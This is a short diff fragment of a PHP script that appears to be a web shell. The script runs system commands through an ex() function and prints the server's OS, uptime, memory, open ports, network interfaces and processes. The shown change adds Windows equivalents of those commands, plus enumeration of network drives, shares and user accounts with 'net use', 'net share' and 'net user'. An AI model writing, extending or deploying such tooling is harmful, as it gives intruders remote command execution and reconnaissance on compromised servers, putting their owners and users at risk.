@@ -98,7 +98,7 @@ function ex($command) {
9898 echo "<b>Operating system</b><br><pre> " . @PHP_OS ;
9999 echo "</pre><b>Server uname</b><br><pre> " . php_uname ();
100100 echo "</pre><b>Server uptime</b><br><pre> " ;
101- echo ex ("uptime " );
101+ echo (! $ win ) ? ex ("uptime " ) : ex ( " net statistics server " );
102102 echo "</pre><b>Server time</b><br><pre> " ;
103103 echo date ("D, M d, h:iA " );
104104 echo "</pre><b>Disk space</b><br><pre> " ;
@@ -118,12 +118,13 @@ function ex($command) {
118118 echo "</pre><b>Memory information</b><br><pre> " ;
119119 echo ex ("cat /proc/meminfo " );
120120 echo "</pre><b>Open ports and active connections</b><br><pre> " ;
121- echo ex ("netstat -nat " );
122- echo "</pre><b>Network devices</b><br><pre> " ;
123- echo ex ("/sbin/ifconfig -a " );
121+ echo (! $ win ) ? ex ("netstat -nat " ) : ex ( " netstat -ano " );
122+ echo "</pre><b>Network devices</b><br><pre> " ;
123+ echo (! $ win ) ? ex ("/sbin/ifconfig -a " ) : ex ( " ipconfig /all " );
124124 echo "</pre><b>Processes</b><br><pre> " ;
125- echo ex ("ps auxfww " );
125+ echo (! $ win ) ? ex ("ps auxfww " ) : ex ( " tasklist " );
126126 echo "</pre> " ;
127+ echo ($ win ) ? "<b>Network use</b><br><pre> " .ex ("net use " )."</pre><b>Network share</b><br><pre> " .ex ("net share " )."</pre><b>Network user</b><br><pre> " .ex ("net user " )."</pre> " : "" ;
127128}
128129
129130else if (isset ($ _REQUEST ["phpinfo " ])) {
0 commit comments